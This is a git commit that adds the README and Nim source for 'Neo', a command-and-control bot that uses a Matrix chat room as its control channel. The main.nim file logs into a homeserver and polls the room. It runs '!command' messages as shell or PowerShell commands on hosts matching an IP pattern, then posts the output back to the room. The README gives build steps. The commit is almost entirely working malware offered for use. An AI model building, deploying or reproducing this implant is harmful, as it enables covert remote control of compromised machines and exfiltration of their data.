Initial commit

This commit is contained in:
connorgadbois 2026-03-17 00:16:14 -05:00
commit 1f993e551f
2 changed files with 206 additions and 0 deletions

34
README.md Normal file
View File

@ -0,0 +1,34 @@
# Neo
A simple C2 for [Matrix](https://matrix.org/) homeservers, inspired by [DiscordGo](https://github.com/emmaunel/DiscordGo)
## Setup
You'll need an account on a Matrix server to use for the bot.
In `src/main.nim`, modify the config values with your account and server.
Example config:
```nim
const
username: string = "neo"
password: string = "password123"
server: string = "matrix.org"
roomId: string = "!bsafgr3AAmy8gHdrcy:matrix.org"
```
## Building
If it isn't already installed you'll need to install [Nim](https://nim-lang.org/install.html).
```bash
# Install dependencies
nimble install strenc
# Compile (outputs to ./neo)
nim c -d:ssl -d:release -o:neo src/main
```
## Bot Usage
Commands:
- `!ping {ip pattern}`
- `!command {ip pattern} {command}`
- `!kill {ip pattern}`
IP pattern example: `10.1.*.4`

172
src/main.nim Normal file
View File

@ -0,0 +1,172 @@
import httpClient
import json
import os
import osproc
import strutils
import net
import strenc
# Config values
const
username: string = ""
password: string = ""
server: string = ""
roomId: string = ""
var token: string
var nextBatch: string
var ip: string = $getPrimaryIPAddr()
var transactionId: int = parseInt(strip(ip, chars={'.'})) * 1000000
proc matchIp(ip, pattern: string): bool =
let ipParts = ip.split('.')
let patternParts = pattern.split('.')
if ipParts.len != 4 or patternParts.len != 4:
return false
for i in 0..<4:
if patternParts[i] == "*":
continue
if ipParts[i] != patternParts[i]:
return false
return true
proc login(client: HttpClient): string =
var payload: JsonNode = %*{
"identifier": {
"type": "m.id.user",
"user": username
},
"initial_device_display_name": "Neo Bot",
"password": password,
"type": "m.login.password"
}
var response = client.postContent("https://" & server & "/_matrix/client/v3/login", $payload)
client.close()
var data = parseJson(response)
return data["access_token"].getStr()
proc initBatch(client: HttpClient): void =
var url = "https://" & server & "/_matrix/client/v3/sync"
var response = client.getContent(url)
client.close()
var data = parseJson(response)
nextBatch = data["next_batch"].getStr()
proc syncMessages(client: HttpClient): seq[string] =
var messages: seq[string]
var response = client.getContent("https://" & server & "/_matrix/client/v3/sync" & "?since=" & nextBatch)
client.close()
var data = parseJson(response)
nextBatch = data["next_batch"].getStr()
if data["rooms"]["join"].len > 0:
for roomId, room in data["rooms"]["join"].pairs:
if roomId == roomId:
if not room.hasKey("timeline"):
break # There are no new messages
for event in room["timeline"]["events"]:
if event.hasKey("content"):
if event["content"].hasKey("msgtype"):
if event["content"]["msgtype"].getStr() == "m.text" and event["sender"].getStr() != "@" & username & ":" & server:
messages.add(event["content"]["body"].getStr())
return messages
proc sendMessage(client: HttpClient, message: string): void =
try:
var payload: JsonNode = %*{
"body": "",
"msgtype": "m.text",
"format": "org.matrix.custom.html",
"formatted_body": "<code>" & ip & "</code> " & message
}
discard client.putContent("https://" & server & "/_matrix/client/v3/rooms/" & roomId & "/send/m.room.message/" & $transactionId, $payload)
client.close()
transactionId += 1
except:
discard
proc main(): void =
var client: HttpClient = newHttpClient()
# Login loop
var fails: int = 0
while token == "":
try:
token = login(client)
except:
fails += 1
if fails == 5:
quit()
sleep(60000)
client.headers = newHttpHeaders({
"Authorization": "Bearer " & token
})
initBatch(client)
# Command loop
var messages: seq[string]
while true:
try:
messages = syncMessages(client)
except:
discard
for message in messages:
try:
var splitMessage: seq[string] = message.split(" ")
if splitMessage.len >= 1:
# Ping
if splitMessage[0] == "!ping":
if splitMessage.len >= 2:
if matchIp(ip, splitMessage[1]):
sendMessage(client, "Pong!")
sendMessage(client, "Pong!")
# Command
if splitMessage[0] == "!command" and splitMessage.len >= 3:
if matchIp(ip, splitMessage[1]):
var commandOutput: string
try:
if defined(windows):
(commandOutput, _) = execCmdEx("powershell -c " & splitMessage[2..^1].join(" "))
else:
(commandOutput, _) = execCmdEx(splitMessage[2..^1].join(" "))
sendMessage(client, "Command Result: <pre>" & commandOutput & "</pre>")
except:
sendMessage(client, "Failed to run command <pre>" & splitMessage[2..^1].join("") & "</pre>")
# Kill
if splitMessage[0] == "!kill" and splitMessage.len >= 2:
if matchIp(ip, splitMessage[1]):
quit()
except:
discard
sleep(1000)
if isMainModule:
main()